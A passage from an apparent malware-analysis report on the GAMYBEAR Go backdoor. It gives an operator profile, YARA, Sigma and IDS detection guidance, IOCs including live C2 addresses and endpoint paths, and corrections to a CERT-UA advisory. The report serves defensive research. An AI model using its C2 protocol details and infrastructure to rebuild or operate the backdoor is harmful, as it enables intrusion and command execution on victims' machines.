therefore not diagnostic in isolation — any Go binary using `crypto/tls` produces a closely related fingerprint. Searching Joe Sandbox's public corpus returned 0 matches. Triage does not expose JA4 as a queryable field. Censys exposes JA4X (server-side) but not JA4 client-side; this fingerprint cannot be pivoted there. **Defensible infrastructure paragraph for publication**: ## Operator profile Aggregating findings across the binary analysis, build environment, and empirical detonation, the following operator profile emerges. **Development tradecraft**: | Observation | Implication | |---|---| | Snake_case Go function names (`run_command`, `confExist`) | Operator's primary language is likely Python; snake_case is non-idiomatic in Go | | Mixed `fmt.Println` / `log.Println` / `log.Fatal` | No unified logging strategy; multiple developers, or one developer iterating | | Debug prints to stdout/stderr in production | Developer did not strip diagnostic output for release | | File permission `0o644` (Unix-style on Windows) | Habitual Unix-development pattern; Windows mode bits are largely ignored | | Naive `strings.Split(args, " ")` for argument parsing | No real shell-escaping aware tooling; suggests Python `shlex`-less mental model | | Paired channel sends on `chan string` | Brittle; standard Go would use a struct or slice | | `log.Fatal` in sender goroutine | First-failure termination; not production-hardened | | Self-built infrastructure module (no third-party RAT framework) | Custom development effort, not Cobalt Strike / Sliver / Havoc | **Build environment**: | Observation | Implication | |---|---| | `go1.21.0` (Aug 2023 release) | Toolchain not refreshed; either deliberate (smaller attack surface for analysis tooling) or operational neglect | | DWARF debug info retained | Operator does not apply `-ldflags="-s -w"`; either unaware or unconcerned | | Source path `Z:/Builder/out/g4myb34r_backdoor.go` | Mapped network drive for build outputs | | User `fuckthereversers` in module path | Persona, not a real Windows username; signals antagonism toward reverse engineers | | Windows host as build platform | Atypical for Russian-aligned APT tooling; most use Linux cross-compilation | | Static link, no DLL dependencies | Standard Go binary; no host-specific runtime requirements | **Codebase quality**: The malware shows signs of a single developer working without code review: - Inconsistent JSON field naming between the file schema (`UUID`, `HOSTNAME`, `IP`) and the wire schema (`uuid`, `hostname`, `ip_address`) - Decoded but never-acted-upon C2 responses on both `/register` and `/c2/command_out/` endpoints (likely incomplete/aspirational protocol design) - Untested against Windows 11 (wmic deprecation produces silent IP-field empty) - Untested against any clean Windows host (default TLS validation breaks the bot completely) **Naming choices**: The internal name `g4myb34r_backdoor.go` (the source file embedded in the binary) is the source of the family designation. The "G4myb34r" / "GAMYBEAR" name appears nowhere in operator C2 traffic; it is purely a developer artifact. CERT-UA elevated the source-path-derived name into the published designator. The portmanteau `gamaredagne.py` (Gamaredon + LaZagne) appearing in CERT-UA's IOC list as a separate file is a strong indicator that the operator views their tooling as adjacent to or aware of Gamaredon — though whether the GAMYBEAR developer **is** part of Gamaredon (UAC-0010) or merely operates in parallel remains an open question. ## Detection guidance ### YARA — operator-string-based See [`yara/gamybear_strings.yar`](yara/gamybear_strings.yar) for the formal rule. Detection anchors: - The source path `Z:/Builder/out/g4myb34r_backdoor.go` - The Go module path component `C:/Users/fuckthereversers/go/pkg/mod` - The hardcoded C2 string `https://185.223.93.102` - The endpoint path string triple `/c2/get_commands/`, `/c2/command_out/`, `/register` - The persistence path component `\updater.json` - The wire JSON key triple `"uuid","hostname","ip_address"` appearing as adjacent string constants ### YARA — Go runtime metadata-based See [`yara/gamybear_runtime.yar`](yara/gamybear_runtime.yar). Detection anchors: - The exact `go.buildinfo` BuildID prefix `pXjhKBRwl8Jz266eHpWV` (for this specific build) - Go 1.21.0 runtime version string `go1.21.0` (for any GAMYBEAR build with the same toolchain) - The `gopclntab` magic combined with specific function name strings (`main.run_command`, `main.confExist`, `main.register`) ### Network — IDS signatures See [`suricata/gamybear.rules`](suricata/gamybear.rules) and [`snort/gamybear.rules`](snort/gamybear.rules). Key detection patterns: 1. **HTTP GET URI**: `/c2/get_commands/` regex match. UUIDv4 pattern: `[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}`. Extremely high-fidelity — the path triple is unique to GAMYBEAR. 2. **HTTP POST URI**: `/c2/command_out/`. Same fidelity profile as above. 3. **HTTP POST body**: JSON with adjacent keys `"uuid"`, `"hostname"`, `"ip_address"` (in that order, comma-separated). This is the registration payload signature and does not appear in any standard service we've encountered. 4. **TLS handshake failure**: TLS Client Hello to `185.223.93.102:443` followed by `Alert(level=Fatal, description=bad_certificate=42)` from the client. This is the diagnostic signature for GAMYBEAR running on a clean host that lacks the operator's CA. 5. **Base64 suffix `DQo=` in beacon hostname fields**: The trailing-CRLF artifact means any JSON value field carrying the base64 string `*DQo=` adjacent to `"hostname":` is suspicious. ### Host — EDR queries **Sigma rule** (recommended baseline): title: GAMYBEAR backdoor persistence file write status: experimental description: Detects creation of GAMYBEAR's updater.json persistence file references: - https://cert.gov.ua/article/6286219 logsource: product: windows category: file_event detection: selection: TargetFilename|endswith: '\AppData\Roaming\updater.json' Image|endswith: - '\svshosts.exe' - '\ieupdater.exe' condition: selection falsepositives: - Unrelated software named updater that writes its config to %APPDATA% level: high **Sysmon Event ID 1 (process creation)** anchor: A process named `svshosts.exe` or `ieupdater.exe` spawning child processes with `wShowWindow=SW_HIDE` (visible in `STARTUPINFO` flags in some EDRs) and parent paths in `%APPDATA%` or temp locations. **Sysmon Event ID 11 (file create)** anchor: The literal path `%APPDATA%\updater.json` written by a non-update process. Standard Windows Update / Edge Update software writes update artifacts elsewhere. **Registry / autorun monitoring**: This sample does **not** write Run keys. Detection should focus on the upstream `updater.ps1` PowerShell stage if HKCU Run persistence is observed. ### Operational detection — TLS handshake failures A clean Windows host running GAMYBEAR without the operator's CA installed will produce a recognizable pattern of TLS handshake failures: every 5 seconds, repeatedly, against `185.223.93.102:443`. Network flow records and TLS metadata indexers (Zeek, Suricata `tls.log`) will show these as `failure`/`bad_certificate` events at a fixed cadence — a beacon-like pattern that itself is detectable even when no successful C2 traffic occurs. This is a useful defensive property: **the bot's brokenness is itself a high-fidelity indicator**. ## Indicators of compromise Full machine-readable IOC list: [`ioc/iocs.csv`](ioc/iocs.csv). **Hashes**: | Type | Value | Notes | |---|---|---| | SHA-256 | `f4cfbd86609b558a76e43a8da7a47b211d4c498d1167b65bf43aa199e4a252fd` | GAMYBEAR `svshosts.exe` (analyzed) | | SHA-256 | `5d3f5d174369b34c436df0ad467236bd477b12b817768e19113969e08d74ef5d` | GAMYBEAR `ieupdater.exe` (referenced, not analyzed) | | SHA-256 | `b1f71dd2e152d46cc0c423cfe563c9215182dc68afdca7b0a19c134ef9f0895e` | LaZagne (CERT-UA) | | SHA-256 | `550fc52e7adcdf237666a7e3cb324e8f71f7ca1cd6cd3b681e44a337d4ba4d66` | RESOCKS (CERT-UA) | **Network**: | Type | Value | Notes | |---|---|---| | IPv4 | `185.223.93.102` | GAMYBEAR C2 (AS14576, Amsterdam) | | IPv4 | `136.0.141.69` | Additional C2 (CERT-UA) | | IPv4 | `45.159.189.85` | Additional C2 (CERT-UA) | | IPv4 | `62.182.84.66` | Additional C2 (CERT-UA) | | Domain | `grizzlyconnect.net` | UAC-0241 (CERT-UA) | | Domain | `testnl.grizzlyconnect.net` | UAC-0241 (CERT-UA) | | Email sender | `sumy.dsns.gov.ua@gmail.com` | Compromised Gmail (CERT-UA) | **Certificate** (served by `185.223.93.102:443` during Nov 2025 detonation): | Field | Value | |---|---| | Subject | `CN=cloudflare-dns.com, O=Company Ltd, L=Moscow, ST=Moscow, C=RU` | | Serial | `0x75ffd826eb99b28abaed15aa0cb7d3517242b058` | | SHA-256 | `0c954b885bfeabc3da8dc9a8629399a9de3ad75c703a2de4c3828d390cc24e7a` | | SHA-1 | `c0afb91b46bcdcd0f2a69f50fa81215eceafe7d4` | | SPKI SHA-256 | `9c1daf9ddc8eae8a87def79e7e451e041ffb9daea7742b36c5fd517c50dadaf7` | | Validity | `2025-04-27 → 2026-04-27` | **TLS fingerprints** (GAMYBEAR client): | Format | Value | |---|---| | JA3 | `397c55c9aaf9820f7655666ee7fc3c2d` | | JA4 | `t13i1910h2_9dc949149365_e7c285222651` | **Host artifacts**: | Type | Value | Notes | |---|---|---| | File path | `%APPDATA%\updater.json` | Persistence file written by GAMYBEAR | | Process name | `svshosts.exe`, `ieupdater.exe` | Observed binary names | | Embedded source path | `Z:/Builder/out/g4myb34r_backdoor.go` | DWARF source reference | | Embedded user path | `C:/Users/fuckthereversers/go/pkg/mod/` | Build user marker | | Build ID prefix | `pXjhKBRwl8Jz266eHpWV` | Go runtime metadata | **URL patterns**: | Pattern | Purpose | |---|---| | `https://185.223.93.102/register` | First-run registration (POST) | | `https://185.223.93.102/c2/get_commands/` | Command polling (GET) | | `https://185.223.93.102/c2/command_out/` | Result submission (POST) | ## Findings vs CERT-UA#18329 The table below enumerates findings made in this analysis that extend or correct CERT-UA's original advisory. Each finding is categorized by evidence type. | # | Finding | Status in CERT-UA | Evidence in this analysis | |---|---|---|---| | 1 | Persistence file `%APPDATA%\updater.json` | Not documented | Static RE + captured file (`analysis/captured_updater.json`) | | 2 | No HKCU Run autorun by binary | Attributed to GAMYBEAR | **Correction**: Static RE + dynamic registry inspection both show no registry writes | | 3 | Listener URL includes UUID: `/c2/get_commands/` | Base path only | Static RE (`runtime.concatstring3` confirms URL composition) | | 4 | Sender URL includes UUID: `/c2/command_out/` | Base path only | Static RE (mirrored composition in `main.sender`) | | 5 | Registration wire schema: `{uuid, hostname, ip_address}` (snake_case map) | Not documented | Static RE (inline `map[string]string` construction in `main.register`) | | 6 | `main.Response` has only `Command` + `Arguments` (C2→bot direction only) | Not documented | Static RE (struct equality function reveals fields) | | 7 | C2 returns JSON on `/register` and `/c2/command_out/` (bidirectional, response unused) | Not documented | Static RE (`json.NewDecoder.Decode` calls in `main.register` and `main.sender`) | | 8 | Command execution: direct `exec.Command`, not `cmd.exe /c` | Not documented | Static RE (no `cmd.exe` string in binary; `exec.Command` direct invocation) | | 9 | Command execution with `HideWindow: true` | Not documented | Static RE (`SysProcAttr` construction in `main.run_command`) | | 10 | Argument parsing: naive `strings.Split(args, " ")` (breaks on quoted args) | Not documented | Static RE | | 11 | Sleep cadence: 5s on error, 15s on success or `Nop` | 15s only | Static RE (two distinct `time.Sleep(5e9)` and `time.Sleep(15e9)` calls) | | 12 | `log.Fatal` in sender → process terminates on first POST failure | Not documented | Static RE (`log.Fatal` in `main.sender` error branch) | | 13 | Bot uses `http.DefaultClient` throughout → broken TLS in clean envs | Not documented | Static RE + PCAP + dynamic (zero successful C2 contact in 60+ min detonation) | | 14 | Command output base64-encoded before POST | Not documented | Static RE (`base64.StdEncoding.EncodeToString` in `main.executor`) | | 15 | `ip` field empty on Windows 11 22H2+ (`wmic` deprecated) | Not documented | Static RE + empirical (captured file shows `"ip": ""`) | | 16 | `whoami` output not trimmed → trailing CRLF in base64 hostname (suffix `DQo=`) | Not documented | Static RE + empirical (hex dump of decoded hostname bytes) | | 17 | DWARF debug info retained — full source-line mapping recovered | Not documented | Static RE (`.zdebug_*` sections present, GoReSym recovers 13 main.* functions) | | 18 | Operator persona: `fuckthereversers` Windows user, mapped `Z:\` drive | Partial (CERT-UA notes paths) | Static RE (Go module path strings) | | 19 | Compiler: `go1.21.0`, BuildID prefix `pXjhKBRwl8Jz266eHpWV` | Not documented | GoReSym extraction from `go.buildinfo` | | 20 | Inline `map[string]string` for result message (no struct type for C2→bot results) | Not documented | Static RE (no `type.eq.main.Result` symbol in binary) | ## Open questions The following questions remain open and would benefit from follow-up research: 1. **Variant comparison**: How does `ieupdater.exe` (SHA-256 `5d3f5d174369b34c436df0ad467236bd477b12b817768e19113969e08d74ef5d`) differ from `svshosts.exe`? Same code with renamed binary, evolved code, or distinct variant? Recommend pull via VT Intelligence Enterprise. 2. **Operator CA pre-deployment**: Does the upstream `updater.ps1` dropper install the operator's self-signed CA into the Windows trust store? If so, this is the missing piece that makes GAMYBEAR functional in deployed environments. PowerShell stage analysis is needed. 3. **UAC-0241 relationship to Gamaredon (UAC-0010)**: The `gamaredagne.py` portmanteau and Sumy-oblast targeting overlap suggest adjacency, but is UAC-0241 a Gamaredon sub-cluster, a parallel operator, or an unrelated actor borrowing tradecraft? Open-source attribution research has not resolved this. 4. **Current C2 state**: Is `185.223.93.102:443` still serving the same self-signed certificate? Has the cert been rotated? Is the C2 still operational at all? Periodic probing (with appropriate authorization) would clarify. 5. **C2 response payloads**: Both `/register` and `/c2/command_out/` return JSON that the bot decodes but ignores. What does the C2 actually return — server-assigned overrides, error states, configuration updates? Without operator-side access, this is unresolvable from the bot binary alone. 6. **Build cadence**: How frequently does the operator rebuild the binary? The `go.buildinfo` BuildID changes with every build; correlating BuildIDs across observed samples would reveal release cadence. 7. **Command repertoire**: The bot executes any command the C2 sends via `os/exec`. What commands does the operator actually use in operations? Without C2 telemetry or victim-side logs, this is unknown. ## Acknowledgements - **CERT-UA** for the original advisory (`CERT-UA#18329`), reference IOCs, and the kill chain documentation that made coverage gap analysis possible. - **Mandiant FLARE Team** for FLARE-VM, FakeNet-NG, and GoReSym — the tooling stack that made this analysis possible. - **Mooncat** for the Ghidra GolangAnalyzerExtension. - **Triage user `petik`** for the cross-reference comment that surfaced the MWDB acquisition path. - **Mandiant / CERT-PL** for MWDB sample availability. - **Censys** for the host scan corpus that supported infrastructure pivots (even where the pivots returned negative). ## Author **Yanky Wilson** — independent cyber threat intelligence researcher (NY metro). - GitHub: [@yankywilson](https://github.com/yankywilson) - Halcyon TRIP submission candidate. ## License This analysis is published under the **MIT License**. IOCs, YARA rules, and IDS rules are provided as-is for defensive use. No samples are redistributed; refer to MWDB / Triage / VT for sample retrieval. ## Disclaimer This research is intended for defensive use. The findings extend or correct the original CERT-UA advisory based on first-hand binary analysis and empirical detonation; they do not contradict CERT-UA's incident-response observations, which may include kill-chain stages not analyzed here. Where this analysis identifies what we believe to be corrections to published reporting, those corrections are made in good faith and are open to revision based on additional evidence. The GAMYBEAR sample analyzed here is acutely sensitive: it is attributed to an active state-aligned threat actor and was acquired in advance of public disclosure. Researchers should observe operational security practices appropriate to the threat level when handling the sample.
标签:EVTX分析